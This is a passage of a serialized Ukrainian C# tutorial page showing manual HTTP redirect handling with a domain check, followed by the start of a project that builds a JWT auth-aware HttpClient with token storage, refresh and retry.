редиректи:\n",[3433,15651,15652,15654,15656,15658,15660,15662,15664,15666,15668,15670],{"class":3435,"line":3484},[3433,15653,4808],{"class":3923},[3433,15655,4831],{"class":4811},[3433,15657,4815],{"class":4749},[3433,15659,4818],{"class":3923},[3433,15661,5334],{"class":4745},[3433,15663,5337],{"class":4749},[3433,15665,5350],{"class":4811},[3433,15667,4815],{"class":4749},[3433,15669,5345],{"class":3923},[3433,15671,5357],{"class":4749},[3433,15673,15674,15676,15678,15681,15683,15685,15687,15689,15691],{"class":3435,"line":3490},[3433,15675,4742],{"class":4741},[3433,15677,4882],{"class":3923},[3433,15679,15680],{"class":4811}," manualClient",[3433,15682,4815],{"class":4749},[3433,15684,4818],{"class":3923},[3433,15686,4892],{"class":4745},[3433,15688,4895],{"class":4749},[3433,15690,4898],{"class":4811},[3433,15692,4976],{"class":4749},[3433,15694,15695],{"class":3435,"line":3496},[3433,15696,3458],{"emptyLinePlaceholder":3457},[3433,15698,15699,15701,15703,15705,15707,15709,15711,15713,15715,15718],{"class":3435,"line":3502},[3433,15700,4952],{"class":4745},[3433,15702,6971],{"class":4811},[3433,15704,4815],{"class":4749},[3433,15706,4960],{"class":3923},[3433,15708,15680],{"class":4811},[3433,15710,3670],{"class":4749},[3433,15712,4968],{"class":4967},[3433,15714,4895],{"class":4749},[3433,15716,15717],{"class":3926},"\"https:\u002F\u002Fhttpbingo.org\u002Fabsolute-redirect\u002F2\"",[3433,15719,4976],{"class":4749},[3433,15721,15722],{"class":3435,"line":3508},[3433,15723,3458],{"emptyLinePlaceholder":3457},[3433,15725,15726,15729,15731,15733,15735,15737,15739,15742,15744],{"class":3435,"line":3513},[3433,15727,15728],{"class":4741},"while",[3433,15730,4638],{"class":4749},[3433,15732,11351],{"class":4811},[3433,15734,3670],{"class":4749},[3433,15736,12745],{"class":4811},[3433,15738,5771],{"class":3923},[3433,15740,15741],{"class":4745}," HttpStatusCode",[3433,15743,3670],{"class":4749},[3433,15745,15746],{"class":4745},"MovedPermanently\n",[3433,15748,15749,15752,15754,15756],{"class":3435,"line":3519},[3433,15750,15751],{"class":3923},"                           or",[3433,15753,15741],{"class":4745},[3433,15755,3670],{"class":4749},[3433,15757,15758],{"class":4745},"Found\n",[3433,15760,15761,15763,15765,15767],{"class":3435,"line":3525},[3433,15762,15751],{"class":3923},[3433,15764,15741],{"class":4745},[3433,15766,3670],{"class":4749},[3433,15768,15769],{"class":4745},"SeeOther\n",[3433,15771,15772,15774,15776,15778],{"class":3435,"line":3531},[3433,15773,15751],{"class":3923},[3433,15775,15741],{"class":4745},[3433,15777,3670],{"class":4749},[3433,15779,15780],{"class":4745},"TemporaryRedirect\n",[3433,15782,15783,15785,15787,15789,15792],{"class":3435,"line":3537},[3433,15784,15751],{"class":3923},[3433,15786,15741],{"class":4745},[3433,15788,3670],{"class":4749},[3433,15790,15791],{"class":4745},"PermanentRedirect",[3433,15793,4901],{"class":4749},[3433,15795,15796],{"class":3435,"line":3542},[3433,15797,4843],{"class":4749},[3433,15799,15800,15803,15805,15808,15810,15812,15814,15816,15818,15821],{"class":3435,"line":3548},[3433,15801,15802],{"class":4745},"    Uri",[3433,15804,5412],{"class":4749},[3433,15806,15807],{"class":4811},"newLocation",[3433,15809,4815],{"class":4749},[3433,15811,11351],{"class":4811},[3433,15813,3670],{"class":4749},[3433,15815,5515],{"class":4811},[3433,15817,3670],{"class":4749},[3433,15819,15820],{"class":4811},"Location",[3433,15822,4755],{"class":4749},[3433,15824,15825,15827,15829,15831,15833,15835,15837,15840],{"class":3435,"line":3554},[3433,15826,8287],{"class":4741},[3433,15828,4638],{"class":4749},[3433,15830,15807],{"class":4811},[3433,15832,5771],{"class":3923},[3433,15834,5777],{"class":3923},[3433,15836,10492],{"class":4749},[3433,15838,15839],{"class":4741},"break",[3433,15841,4755],{"class":4749},[3433,15843,15844],{"class":3435,"line":3560},[3433,15845,3458],{"emptyLinePlaceholder":3457},[3433,15847,15848],{"class":3435,"line":3565},[3433,15849,15850],{"class":4802},"    \u002F\u002F Якщо URL відносний — перетворимо на абсолютний\n",[3433,15852,15853,15855,15858,15860,15862,15865],{"class":3435,"line":3570},[3433,15854,8287],{"class":4741},[3433,15856,15857],{"class":4749}," (!",[3433,15859,15807],{"class":4811},[3433,15861,3670],{"class":4749},[3433,15863,15864],{"class":4811},"IsAbsoluteUri",[3433,15866,4901],{"class":4749},[3433,15868,15869,15872,15874,15876,15878,15880,15882,15884,15886,15889,15892,15894],{"class":3435,"line":3576},[3433,15870,15871],{"class":4811},"        newLocation",[3433,15873,4815],{"class":4749},[3433,15875,4818],{"class":3923},[3433,15877,4917],{"class":4745},[3433,15879,4895],{"class":4749},[3433,15881,4818],{"class":3923},[3433,15883,4917],{"class":4745},[3433,15885,4895],{"class":4749},[3433,15887,15888],{"class":3926},"\"https:\u002F\u002Fhttpbingo.org\"",[3433,15890,15891],{"class":4749},"), ",[3433,15893,15807],{"class":4811},[3433,15895,4976],{"class":4749},[3433,15897,15898],{"class":3435,"line":3582},[3433,15899,3458],{"emptyLinePlaceholder":3457},[3433,15901,15902],{"class":3435,"line":3587},[3433,15903,15904],{"class":4802},"    \u002F\u002F Валідація: чи це очікуваний домен?\n",[3433,15906,15907,15909,15911,15913,15915,15917,15920,15923],{"class":3435,"line":3592},[3433,15908,8287],{"class":4741},[3433,15910,4638],{"class":4749},[3433,15912,15807],{"class":4811},[3433,15914,3670],{"class":4749},[3433,15916,10523],{"class":4811},[3433,15918,15919],{"class":4749}," != ",[3433,15921,15922],{"class":3926},"\"httpbingo.org\"",[3433,15924,4901],{"class":4749},[3433,15926,15927],{"class":3435,"line":3598},[3433,15928,5565],{"class":4749},[3433,15930,15931,15933,15935,15937,15939,15942,15944,15946,15948,15950],{"class":3435,"line":3604},[3433,15932,8373],{"class":4811},[3433,15934,3670],{"class":4749},[3433,15936,5080],{"class":4967},[3433,15938,4895],{"class":4749},[3433,15940,15941],{"class":3926},"$\"⚠ Підозрілий редирект на: ",[3433,15943,5089],{"class":5088},[3433,15945,15807],{"class":4811},[3433,15947,5100],{"class":5088},[3433,15949,5117],{"class":3926},[3433,15951,4976],{"class":4749},[3433,15953,15954,15957],{"class":3435,"line":3610},[3433,15955,15956],{"class":4741},"        break",[3433,15958,4755],{"class":4749},[3433,15960,15961],{"class":3435,"line":3615},[3433,15962,5720],{"class":4749},[3433,15964,15965],{"class":3435,"line":3620},[3433,15966,3458],{"emptyLinePlaceholder":3457},[3433,15968,15969,15971,15973,15975,15977,15980,15983,15985,15987,15989,15991,15993,15995,15997,15999,16001,16003,16005],{"class":3435,"line":3626},[3433,15970,5075],{"class":4811},[3433,15972,3670],{"class":4749},[3433,15974,5080],{"class":4967},[3433,15976,4895],{"class":4749},[3433,15978,15979],{"class":3926},"$\"→ Редирект ",[3433,15981,15982],{"class":5088},"{(",[3433,15984,8428],{"class":3923},[3433,15986,14399],{"class":5088},[3433,15988,11351],{"class":4811},[3433,15990,3670],{"class":5088},[3433,15992,12745],{"class":4811},[3433,15994,5100],{"class":5088},[3433,15996,11531],{"class":3926},[3433,15998,5089],{"class":5088},[3433,16000,15807],{"class":4811},[3433,16002,5100],{"class":5088},[3433,16004,5117],{"class":3926},[3433,16006,4976],{"class":4749},[3433,16008,16009,16011,16014,16016,16018,16020,16022,16024,16026,16028],{"class":3435,"line":3632},[3433,16010,8219],{"class":3923},[3433,16012,16013],{"class":4811}," method",[3433,16015,4815],{"class":4749},[3433,16017,11351],{"class":4811},[3433,16019,3670],{"class":4749},[3433,16021,12745],{"class":4811},[3433,16023,5967],{"class":4749},[3433,16025,12750],{"class":4811},[3433,16027,3670],{"class":4749},[3433,16029,15769],{"class":4811},[3433,16031,16032,16034,16036,16038,16040],{"class":3435,"line":3637},[3433,16033,11439],{"class":4749},[3433,16035,5455],{"class":4811},[3433,16037,3670],{"class":4749},[3433,16039,5460],{"class":4811},[3433,16041,16042],{"class":4802}," \u002F\u002F 303 завжди GET\n",[3433,16044,16045,16047,16049,16051,16053,16055],{"class":3435,"line":3642},[3433,16046,11493],{"class":4749},[3433,16048,5455],{"class":4811},[3433,16050,3670],{"class":4749},[3433,16052,5460],{"class":4811},[3433,16054,6014],{"class":4749},[3433,16056,16057],{"class":4802},"\u002F\u002F спрощено; реально — зберегти оригінальний\n",[3433,16059,16060],{"class":3435,"line":3895},[3433,16061,3458],{"emptyLinePlaceholder":3457},[3433,16063,16064,16066,16068,16070,16072,16074,16076,16078,16080],{"class":3435,"line":3900},[3433,16065,12798],{"class":4811},[3433,16067,4815],{"class":4749},[3433,16069,4960],{"class":3923},[3433,16071,15680],{"class":4811},[3433,16073,3670],{"class":4749},[3433,16075,4968],{"class":4967},[3433,16077,4895],{"class":4749},[3433,16079,15807],{"class":4811},[3433,16081,4976],{"class":4749},[3433,16083,16084],{"class":3435,"line":5248},[3433,16085,3813],{"class":4749},[3433,16087,16088],{"class":3435,"line":5273},[3433,16089,3458],{"emptyLinePlaceholder":3457},[3433,16091,16092,16094,16096,16098,16100,16103,16105,16107,16109,16111,16113,16115],{"class":3435,"line":6516},[3433,16093,7898],{"class":4811},[3433,16095,3670],{"class":4749},[3433,16097,5080],{"class":4967},[3433,16099,4895],{"class":4749},[3433,16101,16102],{"class":3926},"$\"Фінальна відповідь: ",[3433,16104,5089],{"class":5088},[3433,16106,11351],{"class":4811},[3433,16108,3670],{"class":5088},[3433,16110,12745],{"class":4811},[3433,16112,5100],{"class":5088},[3433,16114,5117],{"class":3926},[3433,16116,4976],{"class":4749},[3647,16118],{},[3312,16120,16122],{"id":16121},"практичний-проєкт-від-a-до-z-auth-aware-http-client","Практичний проєкт від A до Z: Auth-aware HTTP Client",[3317,16124,16125],{},"Побудуємо повноцінний HTTP-клієнт з підтримкою JWT-аутентифікації, автоматичного оновлення токену та повторних запитів.",[3654,16127,16129],{"id":16128},"архітектура","Архітектура",[3420,16131,16132],{},[3423,16133,16135],{"className":3425,"code":16134,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\npackage \"AuthHttpClient\" #f5f5f5 {\n\n    class \"TokenStorage\" as ts #e8f5e9 {\n        - _accessToken: string?\n        - _refreshToken: string?\n        - _expiresAt: DateTime\n        ---\n        + IsExpired: bool\n        + AccessToken: string?\n        + RefreshToken: string?\n        + Store(access, refresh, expiresIn)\n        + Clear()\n    }\n\n    class \"AuthHandler\\n: DelegatingHandler\" as ah #e3f2fd {\n        - _storage: TokenStorage\n        - _factory: IHttpClientFactory\n        ---\n        # SendAsync(request, ct)\n        - RefreshTokenAsync(ct): bool\n        - CloneRequestAsync(request)\n    }\n\n    class \"AuthApiClient\" as aac #fff9c4 {\n        - _http: HttpClient\n        ---\n        + LoginAsync(creds): Task\u003Cbool>\n        + GetProfileAsync(): Task\u003CUserProfile?>\n        + GetOrdersAsync(): Task\u003COrder[]>\n        + LogoutAsync()\n    }\n\n    aac --> ah : pipeline\n    ah --> ts : читає\u002Fзберігає токени\n}\n\nnote right of ah\n  Алгоритм:\n  1. Якщо токен протух → refresh\n  2. Прикріпити Bearer token\n  3. Відправити запит\n  4. Якщо 401 → refresh + retry\n  5. Якщо знову 401 → logout\nend note\n\n@enduml\n",[3430,16136,16137,16141,16145,16149,16153,16158,16162,16167,16172,16177,16182,16187,16192,16197,16202,16207,16212,16216,16220,16225,16230,16235,16239,16244,16249,16254,16258,16262,16267,16272,16276,16281,16286,16291,16296,16300,16304,16309,16314,16318,16322,16327,16332,16337,16342,16347,16352,16357,16361,16365],{"__ignoreMap":3428},[3433,16138,16139],{"class":3435,"line":3436},[3433,16140,3439],{},[3433,16142,16143],{"class":3435,"line":3442},[3433,16144,3445],{},[3433,16146,16147],{"class":3435,"line":3448},[3433,16148,3451],{},[3433,16150,16151],{"class":3435,"line":3454},[3433,16152,3458],{"emptyLinePlaceholder":3457},[3433,16154,16155],{"class":3435,"line":3461},[3433,16156,16157],{},"package \"AuthHttpClient\" #f5f5f5 {\n",[3433,16159,16160],{"class":3435,"line":3467},[3433,16161,3458],{"emptyLinePlaceholder":3457},[3433,16163,16164],{"class":3435,"line":3473},[3433,16165,16166],{},"    class \"TokenStorage\" as ts #e8f5e9 {\n",[3433,16168,16169],{"class":3435,"line":3479},[3433,16170,16171],{},"        - _accessToken: string?\n",[3433,16173,16174],{"class":3435,"line":3484},[3433,16175,16176],{},"        - _refreshToken: string?\n",[3433,16178,16179],{"class":3435,"line":3490},[3433,16180,16181],{},"        - _expiresAt: DateTime\n",[3433,16183,16184],{"class":3435,"line":3496},[3433,16185,16186],{},"        ---\n",[3433,16188,16189],{"class":3435,"line":3502},[3433,16190,16191],{},"        + IsExpired: bool\n",[3433,16193,16194],{"class":3435,"line":3508},[3433,16195,16196],{},"        + AccessToken: string?\n",[3433,16198,16199],{"class":3435,"line":3513},[3433,16200,16201],{},"        + RefreshToken: string?\n",[3433,16203,16204],{"class":3435,"line":3519},[3433,16205,16206],{},"        + Store(access, refresh, expiresIn)\n",[3433,16208,16209],{"class":3435,"line":3525},[3433,16210,16211],{},"        + Clear()\n",[3433,16213,16214],{"class":3435,"line":3531},[3433,16215,5720],{},[3433,16217,16218],{"class":3435,"line":3537},[3433,16219,3458],{"emptyLinePlaceholder":3457},[3433,16221,16222],{"class":3435,"line":3542},[3433,16223,16224],{},"    class \"AuthHandler\\n: DelegatingHandler\" as ah #e3f2fd {\n",[3433,16226,16227],{"class":3435,"line":3548},[3433,16228,16229],{},"        - _storage: TokenStorage\n",[3433,16231,16232],{"class":3435,"line":3554},[3433,16233,16234],{},"        - _factory: IHttpClientFactory\n",[3433,16236,16237],{"class":3435,"line":3560},[3433,16238,16186],{},[3433,16240,16241],{"class":3435,"line":3565},[3433,16242,16243],{},"        # SendAsync(request, ct)\n",[3433,16245,16246],{"class":3435,"line":3570},[3433,16247,16248],{},"        - RefreshTokenAsync(ct): bool\n",[3433,16250,16251],{"class":3435,"line":3576},[3433,16252,16253],{},"        - CloneRequestAsync(request)\n",[3433,16255,16256],{"class":3435,"line":3582},[3433,16257,5720],{},[3433,16259,16260],{"class":3435,"line":3587},[3433,16261,3458],{"emptyLinePlaceholder":3457},[3433,16263,16264],{"class":3435,"line":3592},[3433,16265,16266],{},"    class \"AuthApiClient\" as aac #fff9c4 {\n",[3433,16268,16269],{"class":3435,"line":3598},[3433,16270,16271],{},"        - _http: HttpClient\n",[3433,16273,16274],{"class":3435,"line":3604},[3433,16275,16186],{},[3433,16277,16278],{"class":3435,"line":3610},[3433,16279,16280],{},"        + LoginAsync(creds): Task\u003Cbool>\n",[3433,16282,16283],{"class":3435,"line":3615},[3433,16284,16285],{},"        + GetProfileAsync(): Task\u003CUserProfile?>\n",[3433,16287,16288],{"class":3435,"line":3620},[3433,16289,16290],{},"        + GetOrdersAsync(): Task\u003COrder[]>\n",[3433,16292,16293],{"class":3435,"line":3626},[3433,16294,16295],{},"        + LogoutAsync()\n",[3433,16297,16298],{"class":3435,"line":3632},[3433,16299,5720],{},[3433,16301,16302],{"class":3435,"line":3637},[3433,16303,3458],{"emptyLinePlaceholder":3457},[3433,16305,16306],{"class":3435,"line":3642},[3433,16307,16308],{},"    aac --> ah : pipeline\n",[3433,16310,16311],{"class":3435,"line":3895},[3433,16312,16313],{},"    ah --> ts : читає\u002Fзберігає токени\n",[3433,16315,16316],{"class":3435,"line":3900},[3433,16317,3813],{},[3433,16319,16320],{"class":3435,"line":5248},[3433,16321,3458],{"emptyLinePlaceholder":3457},[3433,16323,16324],{"class":3435,"line":5273},[3433,16325,16326],{},"note right of ah\n",[3433,16328,16329],{"class":3435,"line":6516},[3433,16330,16331],{},"  Алгоритм:\n",[3433,16333,16334],{"class":3435,"line":6522},[3433,16335,16336],{},"  1. Якщо токен протух → refresh\n",[3433,16338,16339],{"class":3435,"line":6527},[3433,16340,16341],{},"  2. Прикріпити Bearer token\n",[3433,16343,16344],{"class":3435,"line":6532},[3433,16345,16346],{},"  3. Відправити запит\n",[3433,16348,16349],{"class":3435,"line":8453},[3433,16350,16351],{},"  4. Якщо 401 → refresh + retry\n",[3433,16353,16354],{"class":3435,"line":10849},[3433,16355,16356],{},"  5. Якщо знову 401 → logout\n",[3433,16358,16359],{"class":3435,"line":10854},[3433,16360,3534],{},[3433,16362,16363],{"class":3435,"line":10872},[3433,16364,3458],{"emptyLinePlaceholder":3457},[3433,16366,16367],{"class":3435,"line":10877},[3433,16368,3645],{},[3654,16370,16372],{"id":16371},"реалізація-tokenstorage","Реалізація TokenStorage",[3423,16374,16376],{"className":4731,"code":16375,"language":4733,"meta":4734,"style":3428},"\u002F\u002F Storage\u002FTokenStorage.cs\nnamespace AuthClient.Storage;\n\npublic sealed class TokenStorage\n{\n    private string? _accessToken;\n    private string? _refreshToken;\n    private DateTime _expiresAt;\n\n    \u002F\u002F 30-секундний буфер щоб не надсилати майже-протухлий токен\n    public bool IsExpired =>\n        _accessToken is null || DateTime.UtcNow >= _expiresAt.AddSeconds(-30);\n\n    public string? AccessToken => _accessToken;\n    public string? RefreshToken => _refreshToken;\n\n    public void Store(string access, string refresh, int expiresInSeconds)\n    {\n        _accessToken = access;\n        _refreshToken = refresh;\n        _expiresAt = DateTime.UtcNow.AddSeconds(expiresInSeconds);\n    }\n\n    public void Clear()\n    {\n        _accessToken = null;\n        _refreshToken = null;\n        _expiresAt = default;\n    }\n}\n",[3430,16377,16378,16383,16398,16402,16415,16419,16434,16447,16459,16463,16468,16482,16520,16524,16540,16556,16560,16593,16597,16608,16620,16644,16648,16652,16663,16667,16677,16687,16698,16702],{"__ignoreMap":3428},[3433,16379,16380],{"class":3435,"line":3436},[3433,16381,16382],{"class":4802},"\u002F\u002F Storage\u002FTokenStorage.cs\n",[3433,16384,16385,16388,16391,16393,16396],{"class":3435,"line":3442},[3433,16386,16387],{"class":3923},"namespace",[3433,16389,16390],{"class":4745}," AuthClient",[3433,16392,3670],{"class":4749},[3433,16394,16395],{"class":4745},"Storage",[3433,16397,4755],{"class":4749},[3433,16399,16400],{"class":3435,"line":3448},[3433,16401,3458],{"emptyLinePlaceholder":3457},[3433,16403,16404,16406,16409,16412],{"class":3435,"line":3454},[3433,16405,11762],{"class":3923},[3433,16407,16408],{"class":3923}," sealed",[3433,16410,16411],{"class":3923}," class",[3433,16413,16414],{"class":4745}," TokenStorage\n",[3433,16416,16417],{"class":3435,"line":3461},[3433,16418,4843],{"class":4749},[3433,16420,16421,16424,16427,16429,16432],{"class":3435,"line":3467},[3433,16422,16423],{"class":3923},"    private",[3433,16425,16426],{"class":3923}," string",[3433,16428,5412],{"class":4749},[3433,16430,16431],{"class":4811},"_accessToken",[3433,16433,4755],{"class":4749},[3433,16435,16436,16438,16440,16442,16445],{"class":3435,"line":3473},[3433,16437,16423],{"class":3923},[3433,16439,16426],{"class":3923},[3433,16441,5412],{"class":4749},[3433,16443,16444],{"class":4811},"_refreshToken",[3433,16446,4755],{"class":4749},[3433,16448,16449,16451,16454,16457],{"class":3435,"line":3479},[3433,16450,16423],{"class":3923},[3433,16452,16453],{"class":4745}," DateTime",[3433,16455,16456],{"class":4811}," _expiresAt",[3433,16458,4755],{"class":4749},[3433,16460,16461],{"class":3435,"line":3484},[3433,16462,3458],{"emptyLinePlaceholder":3457},[3433,16464,16465],{"class":3435,"line":3490},[3433,16466,16467],{"class":4802},"    \u002F\u002F 30-секундний буфер щоб не надсилати майже-протухлий токен\n",[3433,16469,16470,16473,16476,16479],{"class":3435,"line":3496},[3433,16471,16472],{"class":3923},"    public",[3433,16474,16475],{"class":3923}," bool",[3433,16477,16478],{"class":4811}," IsExpired",[3433,16480,16481],{"class":4749}," =>\n",[3433,16483,16484,16487,16489,16491,16494,16497,16499,16502,16505,16508,16510,16513,16516,16518],{"class":3435,"line":3502},[3433,16485,16486],{"class":4811},"        _accessToken",[3433,16488,5771],{"class":3923},[3433,16490,5777],{"class":3923},[3433,16492,16493],{"class":4749}," || ",[3433,16495,16496],{"class":4811},"DateTime",[3433,16498,3670],{"class":4749},[3433,16500,16501],{"class":4811},"UtcNow",[3433,16503,16504],{"class":4749}," >= ",[3433,16506,16507],{"class":4811},"_expiresAt",[3433,16509,3670],{"class":4749},[3433,16511,16512],{"class":4967},"AddSeconds",[3433,16514,16515],{"class":4749},"(-",[3433,16517,7816],{"class":5604},[3433,16519,4976],{"class":4749},[3433,16521,16522],{"class":3435,"line":3508},[3433,16523,3458],{"emptyLinePlaceholder":3457},[3433,16525,16526,16528,16530,16532,16534,16536,16538],{"class":3435,"line":3513},[3433,16527,16472],{"class":3923},[3433,16529,16426],{"class":3923},[3433,16531,5412],{"class":4749},[3433,16533,7920],{"class":4811},[3433,16535,5958],{"class":4749},[3433,16537,16431],{"class":4811},[3433,16539,4755],{"class":4749},[3433,16541,16542,16544,16546,16548,16550,16552,16554],{"class":3435,"line":3519},[3433,16543,16472],{"class":3923},[3433,16545,16426],{"class":3923},[3433,16547,5412],{"class":4749},[3433,16549,8202],{"class":4811},[3433,16551,5958],{"class":4749},[3433,16553,16444],{"class":4811},[3433,16555,4755],{"class":4749},[3433,16557,16558],{"class":3435,"line":3525},[3433,16559,3458],{"emptyLinePlaceholder":3457},[3433,16561,16562,16564,16567,16570,16572,16574,16577,16579,16581,16584,16586,16588,16591],{"class":3435,"line":3531},[3433,16563,16472],{"class":3923},[3433,16565,16566],{"class":3923}," void",[3433,16568,16569],{"class":4967}," Store",[3433,16571,4895],{"class":4749},[3433,16573,3940],{"class":3923},[3433,16575,16576],{"class":4811}," access",[3433,16578,4263],{"class":4749},[3433,16580,3940],{"class":3923},[3433,16582,16583],{"class":4811}," refresh",[3433,16585,4263],{"class":4749},[3433,16587,8428],{"class":3923},[3433,16589,16590],{"class":4811}," expiresInSeconds",[3433,16592,4901],{"class":4749},[3433,16594,16595],{"class":3435,"line":3537},[3433,16596,5565],{"class":4749},[3433,16598,16599,16601,16603,16606],{"class":3435,"line":3542},[3433,16600,16486],{"class":4811},[3433,16602,4815],{"class":4749},[3433,16604,16605],{"class":4811},"access",[3433,16607,4755],{"class":4749},[3433,16609,16610,16613,16615,16618],{"class":3435,"line":3548},[3433,16611,16612],{"class":4811},"        _refreshToken",[3433,16614,4815],{"class":4749},[3433,16616,16617],{"class":4811},"refresh",[3433,16619,4755],{"class":4749},[3433,16621,16622,16625,16627,16629,16631,16633,16635,16637,16639,16642],{"class":3435,"line":3554},[3433,16623,16624],{"class":4811},"        _expiresAt",[3433,16626,4815],{"class":4749},[3433,16628,16496],{"class":4811},[3433,16630,3670],{"class":4749},[3433,16632,16501],{"class":4811},[3433,16634,3670],{"class":4749},[3433,16636,16512],{"class":4967},[3433,16638,4895],{"class":4749},[3433,16640,16641],{"class":4811},"expiresInSeconds",[3433,16643,4976],{"class":4749},[3433,16645,16646],{"class":3435,"line":3560},[3433,16647,5720],{"class":4749},[3433,16649,16650],{"class":3435,"line":3565},[3433,16651,3458],{"emptyLinePlaceholder":3457},[3433,16653,16654,16656,16658,16661],{"class":3435,"line":3570},[3433,16655,16472],{"class":3923},[3433,16657,16566],{"class":3923},[3433,16659,16660],{"class":4967}," Clear",[3433,16662,12547],{"class":4749},[3433,16664,16665],{"class":3435,"line":3576},[3433,16666,5565],{"class":4749},[3433,16668,16669,16671,16673,16675],{"class":3435,"line":3582},[3433,16670,16486],{"class":4811},[3433,16672,4815],{"class":4749},[3433,16674,5420],{"class":3923},[3433,16676,4755],{"class":4749},[3433,16678,16679,16681,16683,16685],{"class":3435,"line":3587},[3433,16680,16612],{"class":4811},[3433,16682,4815],{"class":4749},[3433,16684,5420],{"class":3923},[3433,16686,4755],{"class":4749},[3433,16688,16689,16691,16693,16696],{"class":3435,"line":3592},[3433,16690,16624],{"class":4811},[3433,16692,4815],{"class":4749},[3433,16694,16695],{"class":3923},"default",[3433,16697,4755],{"class":4749},[3433,16699,16700],{"class":3435,"line":3598},[3433,16701,5720],{"class":4749},[3433,16703,16704],{"class":3435,"line":3604},[3433,16705,3813],{"class":4749},[3654,16707,16709],{"id":16708},"реалізація-authhandler","Реалізація AuthHandler",[3423,16711,16713],{"className":4731,"code":16712,"language":4733,"meta":4734,"style":3428},"\u002F\u002F Handlers\u002FAuthHandler.cs\nnamespace AuthClient.Handlers;\n\nusing System.Net;\nusing System.Net.Http.Headers;\nusing System.Net.Http.Json;\nusing AuthClient.Storage;\n\npublic sealed class AuthHandler(TokenStorage storage, IHttpClientFactory factory)\n    : DelegatingHandler\n{\n    protected override async Task\u003CHttpResponseMessage> SendAsync(\n        HttpRequestMessage request,\n        CancellationToken ct)\n    {\n        \u002F\u002F Пропускаємо login\u002Frefresh — вони не потребують Bearer токену\n        string? path = request.RequestUri?.AbsolutePath;\n        bool isPublicEndpoint = path?.EndsWith(\"\u002Flogin\") == true\n                             || path?.EndsWith(\"\u002Frefresh\") == true;\n        if (isPublicEndpoint)\n            return await base.SendAsync(request, ct);\n\n        \u002F\u002F Токен протух — оновлюємо ПЕРЕД відправкою запиту\n        if (storage.IsExpired && storage.RefreshToken is not null)\n            await RefreshTokenAsync(ct);\n\n        \u002F\u002F Прикріплюємо актуальний токен\n        if (storage.AccessToken is not null)\n            request.Headers.Authorization =\n                new AuthenticationHeaderValue(\"Bearer\", storage.AccessToken);\n\n        HttpResponseMessage response = await base.SendAsync(request, ct);\n\n        \u002F\u002F 401 — сервер відхилив токен → спробувати refresh і повторити\n        if (response.StatusCode == HttpStatusCode.Unauthorized\n            && storage.RefreshToken is not null)\n        {\n            bool refreshed = await RefreshTokenAsync(ct);\n            if (refreshed)\n            {\n                var retryRequest = await CloneRequestAsync(request);\n                retryRequest.Headers.Authorization =\n                    new AuthenticationHeaderValue(\"Bearer\", storage.AccessToken!);\n\n                response = await base.SendAsync(retryRequest, ct);\n            }\n        }\n\n        \u002F\u002F Якщо знову 401 — всі токени недійсні\n        if (response.StatusCode == HttpStatusCode.Unauthorized)\n            storage.Clear();\n\n        return response;\n    }\n\n    private async Task\u003Cbool> RefreshTokenAsync(CancellationToken ct)\n    {\n        using var refreshClient = factory.CreateClient(\"Auth\");\n\n        var body = new { refreshToken = storage.RefreshToken, expiresInMins = 30 };\n        HttpResponseMessage response = await refreshClient.PostAsJsonAsync(\"auth\u002Frefresh\", body, ct);\n\n        if (!response.IsSuccessStatusCode)\n        {\n            storage.Clear();\n            return false;\n        }\n\n        var result = await response.Content.ReadFromJsonAsync\u003CTokenResponse>(ct);\n        if (result is null) return false;\n\n        \u002F\u002F ExpiresIn не повертається dummyjson, використовуємо стандарт 1800с\n        storage.Store(result.AccessToken, result.RefreshToken, result.ExpiresIn > 0 ? result.ExpiresIn : 1800);\n        return true;\n    }\n\n    private static async Task\u003CHttpRequestMessage> CloneRequestAsync(HttpRequestMessage original)\n    {\n        var clone = new HttpRequestMessage(original.Method, original.RequestUri);\n        clone.Version = original.Version;\n\n        foreach (var header in original.Headers)\n            clone.Headers.TryAddWithoutValidation(header.Key, header.Value);\n\n        if (original.Content is not null)\n        {\n            byte[] content = await original.Content.ReadAsByteArrayAsync();\n            clone.Content = new ByteArrayContent(content);\n\n            foreach (var header in original.Content.Headers)\n                clone.Content.Headers.TryAddWithoutValidation(header.Key, header.Value);\n        }\n\n        return clone;\n    }\n}\n\nrecord TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn = 1800);\n",[3430,16714,16715,16720,16733,16737,16749,16769,16789,16801,16805,16834,16842,16846,16869,16878,16888,16892,16897,16921,16948,16970,16981,17007,17011,17016,17047,17061,17065,17070,17090,17105,17126,17130,17157,17161,17166,17187,17206,17210,17230,17242,17247,17268,17283,17305,17309,17335,17340,17344,17348,17353,17376,17387,17391,17400,17405,17410,17438,17443,17471,17476,17509,17541,17546,17561,17566,17577,17587,17592,17597,17629,17651,17656,17662,17717,17726,17731,17736,17767,17772,17806,17827,17832,17854,17888,17893,17914,17919,17947,17969,17974,18000,18036,18041,18046,18055,18060,18065,18070],{"__ignoreMap":3428},[3433,16716,16717],{"class":3435,"line":3436},[3433,16718,16719],{"class":4802},"\u002F\u002F Handlers\u002FAuthHandler.cs\n",[3433,16721,16722,16724,16726,16728,16731],{"class":3435,"line":3442},[3433,16723,16387],{"class":3923},[3433,16725,16390],{"class":4745},[3433,16727,3670],{"class":4749},[3433,16729,16730],{"class":4745},"Handlers",[3433,16732,4755],{"class":4749},[3433,16734,16735],{"class":3435,"line":3448},[3433,16736,3458],{"emptyLinePlaceholder":3457},[3433,16738,16739,16741,16743,16745,16747],{"class":3435,"line":3454},[3433,16740,4742],{"class":4741},[3433,16742,4746],{"class":4745},[3433,16744,3670],{"class":4749},[3433,16746,4752],{"class":4745},[3433,16748,4755],{"class":4749},[3433,16750,16751,16753,16755,16757,16759,16761,16763,16765,16767],{"class":3435,"line":3461},[3433,16752,4742],{"class":4741},[3433,16754,4746],{"class":4745},[3433,16756,3670],{"class":4749},[3433,16758,4752],{"class":4745},[3433,16760,3670],{"class":4749},[3433,16762,4770],{"class":4745},[3433,16764,3670],{"class":4749},[3433,16766,5515],{"class":4745},[3433,16768,4755],{"class":4749},[3433,16770,16771,16773,16775,16777,16779,16781,16783,16785,16787],{"class":3435,"line":3467},[3433,16772,4742],{"class":4741},[3433,16774,4746],{"class":4745},[3433,16776,3670],{"class":4749},[3433,16778,4752],{"class":4745},[3433,16780,3670],{"class":4749},[3433,16782,4770],{"class":4745},[3433,16784,3670],{"class":4749},[3433,16786,4791],{"class":4745},[3433,16788,4755],{"class":4749},[3433,16790,16791,16793,16795,16797,16799],{"class":3435,"line":3473},[3433,16792,4742],{"class":4741},[3433,16794,16390],{"class":4745},[3433,16796,3670],{"class":4749},[3433,16798,16395],{"class":4745},[3433,16800,4755],{"class":4749},[3433,16802,16803],{"